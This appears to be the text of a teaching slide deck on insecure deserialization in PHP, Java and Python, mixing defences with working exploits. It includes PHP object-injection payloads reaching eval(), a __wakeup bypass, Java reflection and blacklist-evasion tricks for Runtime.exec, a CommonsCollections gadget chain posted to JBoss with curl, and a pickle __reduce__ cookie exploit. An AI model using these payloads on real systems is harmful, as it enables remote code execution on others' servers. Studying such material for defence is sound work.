Group 7, Mercury, 10175101282
-------- --------
| | ---- Serialize ---> | |
| Object | | Bytes |
| | <--- Deserialize ---- | |
-------- --------
RFC 1014
Persistence
Transmission
O:1:"A":2:{s:3:"one";i:1;s:3:"two";a:3:{i:0;s:5:"apple";i:1;s:4:"pear";i:2;s:6:"banana";}}
<?php
class A {
public $one = 1;
public $two = array('apple', 'pear', 'banana');
}
$b = new A();
echo serialize($b);
?>
import java.io.Serializable;
class TestSerial implements Serializable {
public byte version = 100;
public byte count = 0;
}
AC ED 00 05 73 72 00 0A 53 65 72 69 61 6C 54 65
73 74 A0 0C 34 00 FE B1 DD F9 02 00 02 42 00 05
63 6F 75 6E 74 42 00 07 76 65 72 73 69 6F 6E 78
70 00 64
hex form:
>>> import pickle
>>> data = {'apple': 1, 'pear': 2, 'banana': 4}
>>> pickle.dumps(data)
b'\x80\x04\x95#\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x05apple\x94K\x01\x8c\x04pear\x94K\x02\x8c\x06banana\x94K\x04u.'
<?php
class merc {
var $test = '123';
}
$object = new merc();
$data = serialize($object);
$new_object = unserialize($data);
?>
O:4:"merc":1:{s:4:"test";s:3:"456";}
<?php
class merc {
public $test;
function __construct() {
$this->test = new L();
}
function __destruct() {
$this->test->goodbye();
}
}
class L {
function goodbye() {
echo "Bye~";
}
}
class Evil {
var $bye_message;
function goodbye() {
eval($this->bye_message);
}
}
unserialize($_GET['test']);
http://url/?test=O:4:"merc":1:{s:4:"test";O:4:"Evil":1:{s:11:"bye_message";s:10:"phpinfo();";}}
eval() is evil !!!
<?php
class merc {
public $test;
function __construct() {
$this->test = new Evil();
}
}
class Evil {
var $bye_message = "phpinfo();";
}
$object = new merc();
echo serialize($object);
<?php
class convent {
var $warn = "No hacker.";
function __destruct() {
eval($this->warn);
}
function __wakeup() {
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
}
}
unserialize($_POST[cmd]);
Bypassing __wakeup()
cmd=O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}
PHP 5.x < 5.6.25, 7.x < 7.0.10
Property-Oriented Programing
A::__destruct()
|
--> B::goodbye() --> safe
|
--> C::goodbye()
|
--> D::foo() × No such function!
|
v
D::__call()
|
--> E::bar()
|
--> ... --> ✔ vulnerable!
$data not sanitized in unserialize($data)
Defending: Always sanitize $data !
(NOT enough)
no need for unserialize() !
Interface | java.io.Serializable |
Serialize | ObjectOutputStream::writeObject() |
Deserialize | ObjectOutputStream::readObject() |
public class Evil implements Serializable{
public String cmd;
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
Runtime.getRuntime().exec(cmd);
}
}
Handy
∝
Dangerous
public class User {
private String name;
public User(String name) {
this.name=name;
}
public void setName(String name) {
this.name=name;
}
public String getName() {
return name;
}
}
Class.forName("reflection.User") // method 1
User.class // method 2
new User().getClass() // method 3
Class UserClass = Class.forName("reflection.User");
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("mercury");
Field field = UserClass.getDeclaredField("name");
field.setAccessible(true);
field.set(user, "merc");
Class UserClass = Class.forName("reflection.User");
Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("mercury");
Method method = UserClass.getDeclaredMethod("setName", String.class);
method.invoke(user, "merc");
// java.lang.Runtime.getRuntime().exec("calc.exe");
Class runtimeClass = Class.forName("java.lang.Runtime");
// getRuntime() is static
Object runtime = runtimeClass.getMethod("getRuntime").invoke(null);
runtimeClass.getMethod("exec", String.class).invoke(runtime, "calc.exe");
Blacklist: Runtime
java.lang.Runtime.getRuntime() ×
"getRu" + "ntime" ✔
new String("Z2V0UnVudGltZQ==").Base64Decode() ✔
Websphere
Jboss
Weblogic
Spring
Jenkins
Struts
OpenNMS
Jackson
Fastjson
JMeter
Shiro
JBossMQ JMS <= 4.x
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 "calc.exe"
curl http://ip:port/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1.ser
commons-collections-3.2.1.jar
ExampleCommonsCollections1.java
vuln lib
exploit code
ExampleCommonsCollections1.ser
payload
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
(new Class[] {String.class, Class[].class }),
(new Object[] {"getRuntime", new Class[0] })
),
((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
new InvokerTransformer(
"invoke",
(new Class[] {Object.class, Object[].class}),
(new Object[] {null, new Object[0]})
),
new InvokerTransformer(
"exec",
new Class[] { String[].class },
new Object[]{ cmd }
)
};
marshalsec & ysoserial
CommonsCollections
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
...
SerialKiller
contrast-rO0
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) {
if (!desc.getName().equals(User.class.getName())) {
throw new InvalidClassException(
"Unauthorized unserialization attempt",
desc.getName());
}
return super.resolveClass(desc);
}
third-party lib
pickle
-------- --------
| | ---- pickle.dumps() ---> | |
| Object | | Bytes |
| | <--- pickle.loads() ---- | |
-------- --------
Redis
MongoDB
Memcached
pickle.loads(...)
Session
RCE
__reduce__()
PVM
I've never seen this class, how to (de)serialize it ?
It's easy, just:
(os.system, ('/bin/sh',))
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
import os
import pickle
import requests
import base64
class test(object):
def __reduce__(self):
return (os.system,('whoami',))
a = test()
payload = pickle.dumps(a)
cookies = dict(user=base64.b64encode(payload).decode('utf-8'))
response = requests.get("http://127.0.0.1:5000", cookies=cookies)
Sandbox Escaping
XML
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
JSON
{
"name": "Tom",
"Grade":1,
"age":11,
"gender": "M"
}
Protobuf
Thrift
Hessian
......
{
"name": "Tom",
"Grade":1,
"age":11,
"gender": "M"
}
What is data is data.
Flexibility
∝
1 / Security
XML
JSON
XXE / XMLDecoder
Jackson / Fastjson
Binary
Heap Overflow
1. https://tools.ietf.org/html/rfc1014
2. https://juejin.im/post/6844903765921808397
3. https://www.iteye.com/blog/longdick-458557
4. https://python3-cookbook.readthedocs.io/zh_CN/latest/c05/p21_serializing_python_objects.html
5. https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#1-%E6%A6%82%E5%BF%B5%E8%A7%A3%E9%87%8A%EF%BC%9A
6. https://xz.aliyun.com/t/7570
7. https://xz.aliyun.com/t/6787
8. https://xz.aliyun.com/t/2041
9. https://github.com/frohoff/ysoserial
10. https://github.com/mbechler/marshalsec
11. https://github.com/joaomatosf/JavaDeserH2HC
12. https://github.com/ikkisoft/SerialKiller
13. https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#pickle
14. https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
15. http://hengyunabc.github.io/thinking-about-grpc-protobuf/
16. https://vulhub.org/#/environments/jboss/CVE-2017-7504/